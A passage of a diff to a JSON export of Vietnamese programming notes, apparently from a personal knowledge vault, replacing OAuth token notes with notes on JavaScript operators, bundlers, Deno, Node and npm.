coalescing operator thay cho toán tử OR khi 0, '', NaN cần được trả về true chứ không phải false", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Là một đoạn mã dùng để xác thực quyền truy cập, cho phép ứng dụng bên thứ 3 có thể truy cập vào những dữ liệu của người dùng trong một phạm vi nhất định mà nó cho phép. Token này được gửi bởi **Client** như một tham số được truyền vào _hreader_ trong mỗi request khi cần truy cập đến tài nguyên trong **Resource server**.\r\n\r\nNếu để lộ mất _access token_ thì cũng có thể coi như bị lộ _password_ bởi có thể lợi dụng nó để lấy được những tài nguyên mà nó đang bảo vệ. Vì vậy, _access token_ có một thời gian sử dụng nhất định (2 giờ, 2 tháng...) tùy thuộc vào nhu cầu sử dụng cũng như yêu cầu về tính bảo mật. _Access token_ chỉ được sử dụng một lần duy nhất, khi nó hết hiệu lực **Client** sẽ phải gửi lại yêu cầu đến **Authorization server** để lấy một mã _access token_ mới.\r\n\r\nNguồn:: [[Viblo]], [Tìm hiểu đôi chút về OAuth2](https://viblo.asia/p/tim-hieu-doi-chut-ve-oauth2-eW65GvMLlDO)\r\n\r\n[[Authorization sinh ra access token để client sử dụng]] \r\n[[Khi access token hết hạn truy cập, client gửi refresh token đến authorization server để được cấp access token mới]] \r\n", + "Toàn bộ nội dung": "Nguồn:: [[MDN]], [Nullish coalescing operator (??) - JavaScript | MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-21T13:49:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "U2" + "id": "XU" }, { - "Tiêu đề": "Client ID là để authorization server biết client nào là client nào, còn client secret là để nó đảm bảo rằng client này chính là client đó", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/Client ID là để authorization server biết client nào là client nào, còn client secret là để nó đảm bảo rằng client này chính là client đó", + "Tiêu đề": "Luôn dùng ===. Nếu không có lý do hợp lý thì đừng dùng ==", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Toán tử/Luôn dùng ===. Nếu không có lý do hợp lý thì đừng dùng ==", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Viblo]], [Tìm hiểu đôi chút về OAuth2](https://viblo.asia/p/tim-hieu-doi-chut-ve-oauth2-eW65GvMLlDO)\r\n", + "Toàn bộ nội dung": "=== là == mà không đổi kiểu (type conversion).\n\n```js\n'' == '0' // false\n0 == '' // true\n0 == '0' // true\n\nfalse == 'false' // false\nfalse == '0' // true\n\nfalse == undefined // false\nfalse == null // false\nnull == undefined // true\n\n' \\t\\r\\n ' == 0 // true\n```\n\n![](https://i.stack.imgur.com/yISob.png) \n# Toán hạng tham chiếu\n```js\nvar a = [1,2,3];\nvar b = [1,2,3];\n\nvar c = { x: 1, y: 2 };\nvar d = { x: 1, y: 2 };\n\nvar e = \"text\";\nvar f = \"te\" + \"xt\";\n\na == b // false\na === b // false\n\nc == d // false\nc === d // false\n\ne == f // true\ne === f // true\n```\n\n```js\n\"abc\" == new String(\"abc\") // true\n\"abc\" === new String(\"abc\") // false\n```\nNguồn:: [[Stack Overflow]], [Which equals operator (== vs ===) should be used in JavaScript comparisons?](https://stackoverflow.com/a/359509/3416774)\n\n[JS Comparison Table](https://dorey.github.io/JavaScript-Equality-Table/unified/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-21T13:49:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-26T17:25:00.000Z", + "id": "XV" + }, + { + "Tiêu đề": "Mọi phép so sánh với NaN đều trả về false", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Toán tử/Mọi phép so sánh với NaN đều trả về false", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [[Stack Overflow]], [Why NaN is greater than any number in JavaScript? (duplicate)](https://stackoverflow.com/a/26982909/3416774)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "U3" + "id": "XW" }, { - "Tiêu đề": "Client là ứng dụng muốn truy cập vào dữ liệu của user", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/Client là ứng dụng muốn truy cập vào dữ liệu của user", + "Tiêu đề": "Đáng lẽ typeof null phải là 'null'. Nhưng nó lại trả về là 'object' vì đây là một bug lúc JS mới được viết, và việc sửa nó sẽ làm hỏng nhiều script", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Toán tử/Đáng lẽ typeof null phải là 'null'. Nhưng nó lại trả về là 'object' vì đây là một bug lúc JS mới được viết, và việc sửa nó sẽ làm hỏng nhiều script", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Cách dùng password để truy cập dữ liệu người dùng gọi là client login\r\n\r\nNguồn:: [[Viblo]], [Tìm hiểu đôi chút về OAuth2](https://viblo.asia/p/tim-hieu-doi-chut-ve-oauth2-eW65GvMLlDO)\r\n[[Client gửi access token đến authorization server để được truy cập]] \r\n", + "Toàn bộ nội dung": "F", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-21T13:49:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "U4" + "id": "XX" }, { - "Tiêu đề": "Khi access token hết hạn truy cập, client gửi refresh token đến authorization server để được cấp access token mới", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/Khi access token hết hạn truy cập, client gửi refresh token đến authorization server để được cấp access token mới", + "Tiêu đề": "Lịch sử phát triển của JavaScript", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Lịch sử phát triển của JavaScript", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Được sinh ra bởi **Authorization server**, cùng lúc với _access token_ nhưng lại khác nhau về chức năng. _Refresh token_ sẽ được gửi đi để lấy về một _access token_ mới khi nó hết hạn, cũng chính vì vậy nó có thời gian hiệu lực lâu hơn _access token_. Với _access token_ thời gian hiệu lực có thể là 2 giờ thì _refresh token_ có thể lên đến 10 giờ.\r\n\r\nViệc có mặt của _refresh token_ giúp cho **Client** có thể lấy lại được _access token_ mà không cần phải nhận xác thực lại từ phía người dùng. Nếu người dùng đăng xuất, _refresh token_ cũng sẽ bị xóa theo.\r\n\r\nNguồn:: [[Viblo]], [Tìm hiểu đôi chút về OAuth2](https://viblo.asia/p/tim-hieu-doi-chut-ve-oauth2-eW65GvMLlDO)\r\n", + "Toàn bộ nội dung": "![Lịch sử tiến hoá của Javascript 🔥 @TechMely - YouTube](https://youtu.be/Q-oYIbbJSrI)\r\n![The Weird History of JavaScript - YouTube](https://youtu.be/Sh6lK57Cuk4)\r\n\r\nXem thêm:: [[Lịch sử phát triển framework JavaScript]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-21T13:49:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "U5" + "id": "XY" }, { - "Tiêu đề": "OAuth giúp vẫn biết user kể cả khi user đổi mật khẩu", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/OAuth giúp vẫn biết user kể cả khi user đổi mật khẩu", + "Tiêu đề": "Bundler dùng để gom hết tất cả các script lại vào làm một", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Bundler dùng để gom hết tất cả các script lại vào làm một", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "### Chuyện làm web thời xưa\r\n\r\nThời xưa, người ta chẳng cần bundler gì sất. Câu chuyện này giống như chuyện thời xưa người ta không cần điện thoại ấy.\r\n\r\nĐể xây dựng một trang web, cần các nguyên liệu chính là HTML, CSS và JS. Điều này nghe đơn giản và dễ hiểu đúng không?\r\n\r\n### Chuyện làm web thời nay\r\n\r\nCòn thời nay, chẳng ai build website với chỉ HTML, CSS, JS cả. Ít nhất ấy, thì cũng có một vài thứ khác bổ trợ như html-inspector, jQuery, React, Angular, .. và còn nhiều loại module javascript khác nữa.\r\n\r\nCòn chưa kể app script không chỉ một file là xong logic cho cả trang web được, dev cần tách ra nhiều files để dễ quản lý code hơn, như là theo từng phần của trang web chẳng hạn: script-header.js, script-footer.js, script-about-page.js, …\r\n\r\nVà thế là, `<script>` tags trong cái body hay header hay cả hai bắt đầu xếp hàng dài nối nhau như thế này:\r\n\r\n```html\r\n<body>\r\n <script src=\"script-header.js\"></script>\r\n <script src=\"script-footer.js\"></script>\r\n <script src=\"https://cdnjs.cloudflare.com/ajax/libs/html-inspector/0.8.2/html-inspector.min.js\"></script>\r\n <script src=\"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js\"></script>\r\n</body>\r\n```\r\n\r\nThêm nữa nếu mấy cái script ở trên mà phụ thuộc vào nhau, không được sắp đúng vị trí thì bạn sẽ gặp các lỗi dạng như “Uncaught ReferenceError: $ is not defined“\r\n\r\n![](https://i0.wp.com/beautyoncode.com/wp-content/uploads/2021/11/error-require.jpeg?resize=768%2C205&ssl=1)\r\n\r\nLỗi này xảy ra khi bạn viết code jquery trong file script-header.js mà load script jQuery ở sau file này. Thì lúc trình duyệt đọc đến file script-header.js nó sẽ báo lỗi là không tìm thấy jQuery.\r\n\r\nĐể sửa lỗi này thì các mô-đun được sử dụng ở những loại mô-đun cần được sắp xếp đúng thứ tự. Và thử tưởng tượng nếu có nhiều script thì việc sắp xếp chúng theo đúng thứ tự cần ưu tiên script nào load trước, cái nào load sau là cả một vấn đề, chưa nói chuyện nhìn vào cũng hơi hoa mắt.\r\n\r\n### Tui - bundler ra đời\r\n\r\nChính vì cái sự đa dạng và phong phú của các modules được sử dụng ngày càng nhiều, và sự dính chùng vào nhau khi mô-đun A dùng code của mô-đun B rồi mô-đun C dùng code của mô-đun D, nên tui – **bundler** mới được ra đời.\r\n\r\nCám ơn tui đi 🥳\r\n\r\nNhiệm vụ chính của tui là gom hết tất cả các loại script lại cùng nhau theo thứ tự ưu tiên mà bạn đặt cho tụi nó và cho ra một file script duy nhất.\r\n\r\n![](https://i0.wp.com/beautyoncode.com/wp-content/uploads/2021/11/bundler-1.png?resize=768%2C300&ssl=1) **Chưa kể, nếu bạn:** – không muốn xài javascript nữa, mà muốn xài typescript? Tui ok luôn\r\n\r\n– không muốn xài HTML mà xài React? Tui ok luôn\r\n\r\n– không muốn xài CSS mà xài SASS? Tui cũng ok luôn\r\n\r\nChưa hết, tui còn bao trọn gói các loại modules khác như là lodash, firebase, … ![](https://i2.wp.com/beautyoncode.com/wp-content/uploads/2021/11/Screen-Shot-2021-11-16-at-22.21.54.png?resize=768%2C474&ssl=1) Yên tâm, tui sẽ giúp bạn build hết mấy cái đứa ở trên đó về HTML, CSS, JS cho browser có thể hiểu và dựng trang web của bạn lên được.\r\n\r\nQuá ngon rồi đúng chưa 😊\r\n\r\nNguồn:: [[Viblo]], [module bundler là gì? Parcel – một bundler nói “không” với config](https://viblo.asia/p/module-bundler-la-gi-parcel-mot-bundler-noi-khong-voi-config-gDVK2o9vZLj)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "XZ" + }, + { + "Tiêu đề": "Các chương trình dùng electron ngốn ram", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Các chương trình dùng electron ngốn ram", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Xa" + }, + { + "Tiêu đề": "Cứ 4kb thì tạo thành một read unit, chứ không phải là một lần chạy lệnh", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Deno/Cứ 4kb thì tạo thành một read unit, chứ không phải là một lần chạy lệnh", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "It's one unit per 4kb of read. If you read a 2kb record this is 1 read unit. If you read 4.1kb record then it's 2 read units. If you use the list function and read 10 records and their total size is 3kb, then this is 1 read unit in total.\n\nNguồn:: [Deno Deploy Pricing | Deno](https://deno.com/deploy/pricing)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-24T05:42:00.000Z", + "id": "Xb" + }, + { + "Tiêu đề": "deno info giúp thấy chỗ script được chuyển sang JS", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Deno/deno info giúp thấy chỗ script được chuyển sang JS", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Xc" + }, + { + "Tiêu đề": "Dùng Array.fromAsync để việc lấy dữ liệu từ KV không phải chờ tải về hết rồi mới bắt đầu lọc", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Deno/Dùng Array.fromAsync để việc lấy dữ liệu từ KV không phải chờ tải về hết rồi mới bắt đầu lọc", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "When you list from KV it doesn't pull back everything at once. Instead it pulls results in batches (size is configurable). Thus, you iterate over results in an asynchronous manner as some iterations will fetch data. This allows you to process data as you retrieve it and not have to wait until it is all fetched.\r\n\r\nIn essence, it's not pulling an array but iterating over a remote data source. You could view KV as one giant array and list iterates over a sub section of that. It would be inefficient to have to wait until all data was downloaded before using it. Thus the async iterator to allow downloading AND processing at the same time.\r\nNguồn:: [How to list all entries in Deno KV?](https://stackoverflow.com/a/78210091/3416774)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Xd" + }, + { + "Tiêu đề": "Làm quen Deno cho người mới", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Deno/Làm quen Deno cho người mới", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [Introducing Deno Deploy onboarding tutorials](https://deno.com/blog/deploy-onboarding-tutorials)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Xe" + }, + { + "Tiêu đề": "Sau một thập kỷ phát triển, tác giả của Node viết Deno để khắc phục những thiếu sót của Node", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Deno/Sau một thập kỷ phát triển, tác giả của Node viết Deno để khắc phục những thiếu sót của Node", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "> [Deno](https://deno.land/) là môi trường để thực thi JavaScript và TypeScript tương tự như Node.js. Deno là công cụ được tạo bởi Ryan Dahl – cũng là tác giả của Node.js – để khắc phục những thiếu sót của Node.js. Nó vẫn được xây dựng dựa trên V8 JavaScript Engine, tuy nhiên nó được viết bằng ngôn ngữ lập trình Rust.\r\n> \r\n> Deno còn chạy được cả WebAssembly nữa 😀.\r\n> \r\n> Những vấn đề của Node.js đã được tác giả đề cập trong buổi [phát biểu tại JSConf EU](https://youtu.be/M3BM9TB-8yA) năm 2018. Những vấn đề này thường được biết đến là “10 Things I Regret About Node.js”. Một số vấn đề nổi bật là thiếu sự bảo mật, cài đặt dependency thông qua `node_modules` chưa hợp lý, khó làm việc với promise và một vài vấn đề khác. Và để sữa chữa những vấn đề đó, anh ta đã phát triển Deno. \r\n\r\nNguồn:: [Giới thiệu Deno – một lựa chọn thay thế cho Node.js | manhhomienbienthuy](https://manhhomienbienthuy.github.io/2023/02/02/gioi-thieu-deno-mot-lua-chon-thay-the-cho-nodejs.html)\r\n\r\n![](https://youtu.be/E82zJlINvkk) \r\n![](https://youtu.be/M3BM9TB-8yA?si=Fs_igz0Dxdpd9WrL) \r\n\r\n![[Kiến trúc giữa Node và Deno.png]]\r\nNguồn:: [𝗗𝗲𝗻𝗼 là viết ngược của 𝗡𝗼𝗱𝗲. Vậy liệu... - Techbase Vietnam | Facebook](https://www.facebook.com/techbasevietnam/posts/pfbid0UBHyykVMpsRnGyiqjeLmv5rhBvmSwJ4zCy7joRCLWqXFEk94nULb6UEePpR2rYpxl)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Xf" + }, + { + "Tiêu đề": "Những hàm của môi trường thực thi không chạy được trên trình duyệt", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Những hàm của môi trường thực thi không chạy được trên trình duyệt", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "VD, `Deno.readTextFile()` là một hàm của môi trường thực thi. Hàm này sẽ không chạy được trên trình duyệt. Bởi vì trình duyệt thì không biết gì về Deno, Node, v.v. Muốn dùng các hàm do các môi trường thực thi này cung cấp thì phải chạy trên server chứ không chạy trên client được. Cũng vì lý do này mà [[Các hàm được môi trường thực thi cung cấp không hoạt động được ở island]], vì [[Route là code viết cho server. Island là code viết cho client|island là code viết cho client]].\n\nHệ quả của việc này là bạn [[Nên tách bạch file util cho client và util cho server]], vì nếu không thì sẽ dễ dùng hàm cho server khi viết island. Chỉ dùng không lẫn hàm là không đủ, mà còn phải là không lẫn file. [[Khi import một hàm thì cả file chứa hàm đó sẽ được chạy. Các import của file đó cũng sẽ chạy theo, dù là để import vào một hàm khác mình không import]]. \n\nXem thêm:: \n- [[JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn]]. \n- [[Code giống như các nốt nhạc, engine giống như nhạc công, còn runtime giống như nhạc cụ|Môi trường thực thi đối với code cũng giống như nhạc cụ đối với nốt nhạc]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-24T05:40:00.000Z", + "id": "Xg" + }, + { + "Tiêu đề": "Cần thiết lập EMS cho Node.js trước khi chạy", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Node/Cần thiết lập EMS cho Node.js trước khi chạy", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Xh" + }, + { + "Tiêu đề": "node.js là cách để dùng JS ở backend", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Node/node.js là cách để dùng JS ở backend", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Node với Deno là những môi trường thực thi của JS]]\r\n[[Sau một thập kỷ phát triển, tác giả của Node viết Deno để khắc phục những thiếu sót của Node]]\r\n[[Code giống như các nốt nhạc, engine giống như nhạc công, còn runtime giống như nhạc cụ]]\r\n[[JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn]]\r\n\r\n```dataview\r\nlist \r\nfrom \"✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Node\" \r\nwhere file.name != this.file.name\r\n```", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T13:09:00.000Z", + "id": "Xi" + }, + { + "Tiêu đề": "npm là chương trình quản lý package cho node.js", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Node/npm là chương trình quản lý package cho node.js", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Tương tự, [[pip là chương trình quản lý package của Python]]\n[[Node.js là cách để dùng JS ở backend]]\n[[Package và library là những cái tên khác nhau cho cùng một thứ]]\n[[npx là một gói mở rộng của npm giúp việc cài đặt dễ dàng hơn]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-29T04:15:00.000Z", + "id": "Xj" + }, + { + "Tiêu đề": "npx là một gói mở rộng của npm giúp việc cài đặt dễ dàng hơn", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Node/npx là một gói mở rộng của npm giúp việc cài đặt dễ dàng hơn", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "![](https://giangmd.net/wp-content/uploads/2019/12/npm-npx-300x145.png)\nMột thèn quản lý, một thèn thực thi \n\nVí dụ để cài đặt một dự án React, chúng ta sẽ khởi tạo một dự án npm với lệnh:\n```\nnpm init\n```\n\nSau đó sẽ cài đặt các gói phụ thuộc tiếp theo: react, react-dom,… Thay vào đó, chỉ với npx bây giờ chúng ta chỉ cần chạy một lệnh duy nhất. \n```\nnpx create-react-app my-app \n```\n\nMở trình chạy command line bạn sẽ thấy các gói phụ thuộc sẽ lần lượt được cài đặt. \n\nNguồn:: [NPX là gì? Sự khác nhau giữa NPX và NPM - Chia sẻ kiến thức lập trình web](https://giangmd.net/npx-la-gi-su-khac-nhau-giua-npx-va-npm/)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-29T04:15:00.000Z", + "id": "Xk" + }, + { + "Tiêu đề": "package.json dùng để thiết lập Node.js", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Node/package.json dùng để thiết lập Node.js", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Cần thiết lập EMS cho Node.js trước khi chạy]] \r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Xl" + }, + { + "Tiêu đề": "Node với Deno là những môi trường thực thi của JS", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Node với Deno là những môi trường thực thi của JS", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" @@ -31142,1948 +34886,2013 @@ }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "U6" + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Xm" + }, + { + "Tiêu đề": "strict mode là chế độ code nghiêm ngặt, bắt buộc lập trình viên phải tuân thủ theo quy tắc mà JS đưa ra", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/strict mode là chế độ code nghiêm ngặt, bắt buộc lập trình viên phải tuân thủ theo quy tắc mà JS đưa ra", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [Cách dùng use strict trong javascript (chế độ strict mode)](https://freetuts.net/use-strict-trong-javascript-407.html)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Xn" + }, + { + "Tiêu đề": "Temporal được sinh ra để giải quyết rắc rối của Date", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Thư viện, API/Temporal được sinh ra để giải quyết rắc rối của Date", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [Temporal documentation](https://tc39.es/proposal-temporal/docs/)\r\n[Những thư viện xử lý ngày tháng trong JavaScript - Ehkoo](https://ehkoo.com/bai-viet/nhung-thu-vien-xu-ly-ngay-thang-trong-javascript)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Xo" + }, + { + "Tiêu đề": "VanillaJS chỉ là JS bình thường", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Thư viện, API/VanillaJS chỉ là JS bình thường", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nó chỉ là một trò đùa để những ai mê dùng framework hiểu rằng JS bình thường dùng cũng tốt\r\n\r\n[Vanilla JS](http://vanilla-js.com/)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Xp" + }, + { + "Tiêu đề": "as, is là những cách để nói cho TS biết là mình hiểu nhiều hơn nó", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/as, is là những cách để nói cho TS biết là mình hiểu nhiều hơn nó", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + 